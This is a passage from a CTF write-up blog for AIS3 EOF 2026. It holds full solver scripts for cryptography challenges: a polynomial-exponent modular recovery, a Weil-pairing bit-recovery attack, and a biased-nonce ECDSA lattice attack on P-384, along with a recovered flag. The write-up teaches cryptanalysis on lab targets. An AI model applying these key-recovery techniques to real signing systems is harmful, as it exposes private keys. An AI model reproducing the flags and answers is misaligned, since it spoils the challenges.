    table = {}
    for exp in range(limit):
        if val not in table:
            table[val] = exp
        val = (val * base) % n
    return table




def recover_coeffs(G, M, n):
    A = M[35][0]
    base_g36 = G[36]
    C = (pow(G[35], 36, n) * pow(pow(base_g36, -1, n), A, n)) % n


    table_g36 = dlog_table(base_g36, n)
    candidates = []
    val = 1
    for f0 in range(LIMIT):
        f1 = table_g36.get(val)
        if f1 is not None:
            candidates.append((f0, f1))
        val = (val * C) % n


    tables = {}


    def get_table(base):
        t = tables.get(base)
        if t is None:
            t = dlog_table(base, n)
            tables[base] = t
        return t


    for f0, f1 in candidates:
        if f0 == 0 and base_g36 != 1:
            continue


        f = [None] * ORDER
        f[0] = f0
        f[1] = f1
        b = [None] * ORDER
        b[35] = M[35][0] * f0 + M[35][1] * f1


        ok = True
        for k in range(34, -1, -1):
            j = (ORDER - 1) - k
            D = 0
            for t in range(j):
                D += M[k][t] * f[t]
            if b[k + 1] is None:
                bk1 = 0
                for t in range(j):
                    bk1 += M[k + 1][t] * f[t]
                b[k + 1] = bk1
            bk1 = b[k + 1]


            T = pow(G[k], (k + 1) * bk1, n)
            if D != 0:
                T = (T * pow(G[k + 1], -D, n)) % n
            else:
                T %= n


            table = get_table(G[k + 1])
            f_j = table.get(T)
            if f_j is None:
                ok = False
                break
            f[j] = f_j
            b[k] = D + f_j


        if ok:
            return f
    return None




def poly(coeffs, x):
    r = 0
    for c in coeffs:
        r = r * x + c
    return r




def egcd(a, b):
    if b == 0:
        return (a, 1, 0)
    g, x1, y1 = egcd(b, a % b)
    return (g, y1, x1 - (a // b) * y1)




if __name__ == "__main__":
    cs = load_cs()


    vecs = relation_vectors(NVALS, ORDER, count=3)
    G = None
    for v in vecs:
        val = relation_value(cs, v)
        if val == 0:
            continue
        G = val if G is None else gcd(G, val)
    if G is None:
        raise SystemExit("Failed to derive relation gcd.")


    cur = reduce_candidate(G, cs, ORDER, max_shifts=5)
    n = strip_small_factors(cur)


    Gs = forward_differences(cs, n)
    M = build_matrix()
    f_coeffs = recover_coeffs(Gs, M, n)
    if f_coeffs is None:
        raise SystemExit("Failed to recover polynomial coefficients.")


    xs = list(range(X0, X0 + NVALS))
    exps = [poly(f_coeffs, x) for x in xs]


    pair = None
    for i in range(len(exps)):
        for j in range(i + 1, len(exps)):
            if math.gcd(exps[i], exps[j]) == 1:
                pair = (i, j)
                break
        if pair:
            break
    if pair is None:
        raise SystemExit("No coprime exponent pair found.")


    i, j = pair
    g, u, v = egcd(exps[i], exps[j])
    if g != 1:
        raise SystemExit("Unexpected non-coprime exponents.")


    c1 = cs[i]
    c2 = cs[j]
    if u < 0:
        c1 = pow(c1, -1, n)
        u = -u
    if v < 0:
        c2 = pow(c2, -1, n)
        v = -v


    m = (pow(c1, u, n) * pow(c2, v, n)) % n
    m_bytes = m.to_bytes((m.bit_length() + 7) // 8, "big")
    print(m_bytes)


```






[![Clean-Shot-2025-12-27-at-13-11-55-2x.png](https://i.postimg.cc/dVQcfBcV/Clean-Shot-2025-12-27-at-13-11-55-2x.png)](https://postimg.cc/gn77X30C)

catcat’s message#

  1. 觀察與建模

  • chal.py 在曲線 E: y^2 = x^3 + 1 (mod p) 上運算。

  • 有兩個固定點 mmEow = P, mmEoW = Q，且每個 bit 會輸出兩個點的 x。

  • 兩個多項式：

    • A(x) = MmMeoOOOoOow(x)
    • B(x) = MmMeoOOOoOoW(x)

  • 加密函式（省略雜訊）：

    • bit=1 時：

      • O1 ≈ B(r) * Q
      • O2 ≈ A(r) * P

    • bit=0 時，對應位置的係數是隨機雜訊（與 r 無關）

    1. 利用 pairing 拿到標量

  • 只要解出 pairing 群裡的離散對數，就得到 A(r)、B(r)（符號可能因 y 的正負而翻轉）

    1. 關鍵坑：不是用 curve order

  • P,Q 不一定是全曲線階的 n-torsion。

  • 要用 subgroup_order = lcm(order(P), order(Q)) 做 pairing。

  • 再取 pairing_order = ord(e(P,Q))，DLP 都在這個小得多的乘法子群裡做。

    1. 解離散對數與判 bit

  • pairing_order 的質因數很小（2^46 * 7 * 13 * 499），可用 CRT + 2-adic lifting 快速 DLP。

  • 得到 log1, log2 後，考慮符號：

    • A(r) = ± log2
    • B(r) = ∓ log1（因為 e(Q,P) = e(P,Q)^(-1)）

  • 對每個候選 A(r)，解 A(x) = val 的根 r，檢查 B(r) 是否等於候選 B。

    • 若有解 → bit=1

    • 否則 → bit=0

    1. 還原 flag

  • 將 bit 串回 byte（每 8 bits）即可得到 flag。

解題腳本

solve.sage
#!/usr/bin/env sage
"""
Robust pairing-based solver for the CTF.
Iterates through small torsion subgroups to find a non-trivial pairing.
"""


from sage.all import *
import sys


# BLS12-377 parameters
p = 258664426012969094010652733694893533536393512754914660539884262666720468348340822774968888139573360124440321458177
Fp = GF(p)
E = EllipticCurve(Fp, [0, 1])


# Base points
G1 = E(211327896882745355133216154117765694506824267591963425810864360539127436927129408124317179524815263831669171942288,
       242000360178127454722920758782320325120065800315232786687003874687882586608857040803085327019415054542726981896082)
G2 = E(141078002483297354166779897252895086829637396399741587968861330915310465563157775245215359678414439802307293763593,
       21987419692484616093788518727313616089990324856173653004512069981050648496581282307403640131128425072464960150591)


print("="*60)
print("Cat CTF Solver - Robust Pairing Attack")
print("="*60)


# Point order
n = G1.order()
print(f"\n[*] Point order n = {n}")


# Setup extension field and distortion
K2 = GF(p^2, 'w')
w = K2.gen()
E2 = EllipticCurve(K2, [0, 1])


sqrt_neg3 = Fp(-3).sqrt()
omega = Fp((-1 + sqrt_neg3) / 2)
print(f"[*] Cube root of unity: omega = {omega}")


def distort(P):
    """Distortion map: (x, y) -> (omega*x, y) in GF(p^2)"""
    return E2(K2(omega) * K2(P[0]), K2(P[1]))


# Find suitable torsion l
def find_working_torsion():
    # Small primes to try
    primes = [2, 3, 7, 13, 19, 37, 499]


    for l in primes:
        if n % l != 0:
            continue


        print(f"\n[*] Testing {l}-torsion...")
        cofactor = n // l
        G1_t = cofactor * G1
        G2_t = cofactor * G2


        if G1_t == E(0) or G2_t == E(0):
            print(f"    [-] Trivial points (identity)")
            continue


        # Check linear independence with Weil pairing
        # e(P, Q)
        G1_ext = E2(K2(G1_t[0]), K2(G1_t[1]))
        G2_ext = E2(K2(G2_t[0]), K2(G2_t[1]))


        # We need to pair with distorted versions to verify non-triviality clearly
        G2_dist = distort(G2_t)


        try:
            val = G1_ext.weil_pairing(G2_dist, l)
            print(f"    e(G1, phi(G2)) = {val}")


            if val != 1:
                print(f"    [+] FOUND WORKING TORSION l={l}")
                return l, cofactor, G1_t, G2_t
            else:
                print(f"    [-] Trivial pairing")
        except Exception as e:
            print(f"    [-] Error: {e}")


    return None, None, None, None


l, cofactor, G1_base, G2_base = find_working_torsion()


if l is None:
    print("\n[!] Could not find any working torsion subgroup. Exiting.")
    sys.exit(1)


# Precompute for attack
print(f"\n[*] Setup for attack with l={l}")
G1_dist = distort(G1_base)
G2_dist = distort(G2_base)


def recover_bit(x1, x2):
    try:
        Q1 = E.lift_x(Integer(x1))
    except:
        return '0'


    try:
        Q2 = E.lift_x(Integer(x2))
    except:
        return '0'


    # Map to torsion
    Q1_t = cofactor * Q1
    Q2_t = cofactor * Q2


    if Q1_t == E(0) or Q2_t == E(0):
        return '0'


    Q1_ext = E2(K2(Q1_t[0]), K2(Q1_t[1]))
    Q2_ext = E2(K2(Q2_t[0]), K2(Q2_t[1]))


    # Try signs
    for s1 in [1, -1]:
        for s2 in [1, -1]:
            try:
                P1 = Q1_ext if s1 == 1 else -Q1_ext
                P2 = Q2_ext if s2 == 1 else -Q2_ext


                v1 = P1.weil_pairing(G1_dist, l)
                v2 = P2.weil_pairing(G2_dist, l)


                # Check relationship
                if v1 == v2^3 or v1 == v2^(-3):
                    return '1'
                if v1^(-1) == v2^3 or v1^(-1) == v2^(-3):
                    return '1'
            except:
                continue
    return '0'


# Parse output
def parse_output(filename):
    x_coords = []
    with open(filename, 'r') as f:
        for line in f:
            line = line.strip()
            if line.startswith('0x'):
                x_coords.append(int(line, 16))
    return x_coords


x_coords = parse_output('output.txt')
pairs = [(x_coords[i], x_coords[i+1]) for i in range(0, len(x_coords), 2)]
print(f"\n[+] Loaded {len(pairs)} pairs")


print("\n[*] Recovering bits...")
bits = ""
for i, (x1, x2) in enumerate(pairs):
    bit = recover_bit(x1, x2)
    bits += bit
    if (i+1) % 100 == 0:
        print(f"    Processed {i+1} pairs")


print(f"\n[+] Recovered {len(bits)} bits")
print(f"    Ones: {bits.count('1')}, Zeros: {bits.count('0')}")


try:
    flag_bytes = int(bits, 2).to_bytes((len(bits) + 7) // 8, 'big')
    print("\n" + "="*60)
    print("FLAG:")
    print("="*60)
    flag_str = flag_bytes.decode('utf-8')
    print(flag_str)
except Exception as e:
    print(f"\n[!] Decode error: {e}")
    # Try different offsets or endianness if needed
    print(f"Hex: {int(bits, 2).to_bytes((len(bits) + 7) // 8, 'big').hex()}")


print("\n[*] Done!")

Still Not Random#

Flag: EOF{just_some_small_bruteforce_after_LLL}

Biased ECDSA nonce attack on P-384. The nonce kk is generated as:

k = int.from_bytes(key + hmac.new(key, msg, hashfunc).digest()) % curve.q

Where key = sha256(str(sk)), making the upper 256 bits of kk constant across all signatures.

Hidden Number Problem (HNP)

Using the signature relation si=ki+sk⋅ei(modq)s_i = k_i + sk \cdot e_i \pmod q:

  1. Take differences: (si−sj)−sk⋅(ei−ej)=Li−Lj(modq)(s_i - s_j) - sk \cdot (e_i - e_j) = L_i - L_j \pmod q
  2. Construct 5x5 CVP lattice with scaling S=2128S = 2^{128}
  3. Run LLL reduction and enumerate small coefficient linear combinations

Critical Bug Fix

The verification was failing because r in this challenge is NOT just the x-coordinate:

def p2i(P) -> int:


    return P.x * P.curve.p + P.y  # NOT just P.x!

Once fixed, the LLL-recovered

#!/usr/bin/env python3
import itertools
import hmac
from hashlib import sha256
from Crypto.Cipher import AES
from fpylll import IntegerMatrix, LLL, FPLLL


# P384 parameters
p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffeffffffff0000000000000000ffffffff
q = 0xffffffffffffffffffffffffffffffffffffffffffffffffc7634d81f4372ddf581a0db248b0a77aecec196accc52973
a = -3
b = 0xb3312fa7e23ee7e4988e056be3f82d19181d9c6efe8141120314088f5013875ac656398d8a2ed19d2a85c8edd3ec2aef
Gx = 0xaa87ca22be8b05378eb1c71ef320ad746e1d3b628ba79b9859f741e082542a385502f25dbf55296c3a545e3872760ab7
Gy = 0x3617de4a96262c6f5d9e98bf9292dc29f8f41dbd289a147ce9da3113b5f0b8c00a60b1ce1d7e819d7a431d7c90ea0e5f


sigs = [
    (317707421133410288073354603009480426136391906002873302709570879761947103070512898051132583840618463139472027601216698251294206460344755339051109898589809987983731707077909099505833365567522347006453766545663380230105595126817790425, 25185752159924706126981435669717936861361993674900106138337831137838509453749313533989197233649309651483579988978205),
    (417548456675579988606680466439690234874946492911623920447331037240230655879606626325624623314611471522814787475988129078726743347417903386362824681134780863810523742180718053363084828145812067731683272119151061828749117659255650820, 27618563118772187320593702066291845973666620541831283288991142064228070314197536489147588491763843793593821643513457),
    (703771273054730080235579285501232710659154148145979519264450072512823561624248636822569827736905476306443746390214567198923437156846958456303186787370323078966806939434118158768394748234214487029382926999880135374613932395712372460, 27052092405825396792237011211691900251888872753276208811631357208317438773416505653305767076226992282260977625878007),
    (821717323558426535455119744526279609022144869806906586662554363968363839151910768914318502227461974453838258550953434850776924606792184210954238562503515009237179979646111655773804054528212491391076376250546737439142144165942539844, 28870411728276849847003745583242490365442899058004875752358198407125701328587711166784961247940279464305857022011977)
]
ct = b'iXm\x982\xc5\xf23\x85\x88\x91\x0c\x7f\xdc\x1b,\x1b\x82\x9d\xcd\x00 BWn\xad\n\xc3`\xe7\x8e\xfc`%\x9cQ\x12E\x97\x97\xa5\xd5t\x8b\x87v\xb4\xcf\x8d'
msgs = [
    b"https://www.youtube.com/watch?v=LaX6EIkk_pQ",
    b"https://www.youtube.com/watch?v=wK4wA0aKvg8",
    b"https://www.youtube.com/watch?v=iq90nHs3Gbs",
    b"https://www.youtube.com/watch?v=zTKADhU__sw",
]


# ECC Utils
def add(P, Q):
    if P is None: return Q
    if Q is None: return P
    x1, y1 = P
    x2, y2 = Q
    if x1 == x2 and y1 != y2: return None
    if x1 == x2 and y1 == y2:
        m = (3*x1*x1 + a) * pow(2*y1, -1, p) % p
    else:
        m = (y2 - y1) * pow(x2 - x1, -1, p) % p
    x3 = (m*m - x1 - x2) % p
    y3 = (m*(x1 - x3) - y1) % p
    return (x3, y3)


def mul(k, P):
    R = None
    while k > 0:
        if k % 2 == 1: R = add(R, P)
        P = add(P, P)
        k //= 2
    return R


# CRITICAL FIX: p2i function matches chall.py
def p2i(P):
    """Convert point to integer: P.x * curve.p + P.y"""
    if P is None:
        return 0
    return P[0] * p + P[1]


def compute_e(r, msg):
    r_bytes = r.to_bytes(1337, 'big')
    return int.from_bytes(hmac.new(r_bytes, msg, sha256).digest(), 'big') % q


es = [compute_e(r, msg) for (r, s), msg in zip(sigs, msgs)]
ss = [s for r, s in sigs]
rs = [r for r, s in sigs]
n = len(sigs)


# Difference Lattice HNP 5x5
ts = [(es[i] - es[0]) % q for i in range(1, n)]
us = [(ss[i] - ss[0]) % q for i in range(1, n)]
m = len(ts)


FPLLL.set_precision(1024)
S = 2**128
M_const = 2**384


dim = m + 2
M_mat = IntegerMatrix(dim, dim)


for i in range(m): M_mat[i, i] = int(S * q)
for i in range(m): M_mat[m, i] = int(S * ts[i])
M_mat[m, m] = 1
for i in range(m): M_mat[m+1, i] = int(S * us[i])
M_mat[m+1, m+1] = int(M_const)


print("[*] Running LLL reduction...")
LLL.reduction(M_mat)


basis = []
for i in range(dim):
    basis.append([M_mat[i, j] for j in range(dim)])


print(f"[*] Checking basis vectors and combinations (range -2 to 2)...")
coeff_range = range(-2, 3)


def verify_sk(sk_cand):
    """Verify sk using p2i(k*G) == r"""
    k0 = (ss[0] - sk_cand * es[0]) % q
    R = mul(k0, (Gx, Gy))
    if R is None:
        return False
    r_computed = p2i(R)  # FIXED: Use p2i instead of R[0]
    return r_computed == rs[0]


for coeffs in itertools.product(coeff_range, repeat=dim):
    last_val = sum(coeffs[i] * basis[i][dim-1] for i in range(dim))


    if abs(last_val) == M_const:
        sign = -1 if last_val == M_const else 1
        sk_val = sum(coeffs[i] * basis[i][m] for i in range(dim))
        sk_cand = (sign * sk_val) % q


        if verify_sk(sk_cand):
            print(f"\n[+] SUCCESS! Found valid sk: {sk_cand}")
            key = (sk_cand & ((1 << 128) - 1)).to_bytes(16, 'big')
            nonce = ct[:8]
            ciphertext = ct[8:]
            cipher = AES.new(key, AES.MODE_CTR, nonce=nonce)
            flag = cipher.decrypt(ciphertext)
            print(f"[+] FLAG: {flag.decode(errors='ignore')}")
            exit(0)


print("[-] No valid sk found in range.")
AIS3 EOF 2026 Writeups
https://blog.ichika.tw/posts/ais3-eof-2026-writeup/
Author
Eric / e0pwr
Published at
2025-12-27
License
CC BY-NC-SA 4.0
關於 ChatGPT 還有 Claude 有關資訊安全防護 KYC 申請
AIS3 pre-exam 2025 Writeup
© 2026 Eric / e0pwr. All Rights Reserved. / RSS / Sitemap
Powered by Astro & Fuwari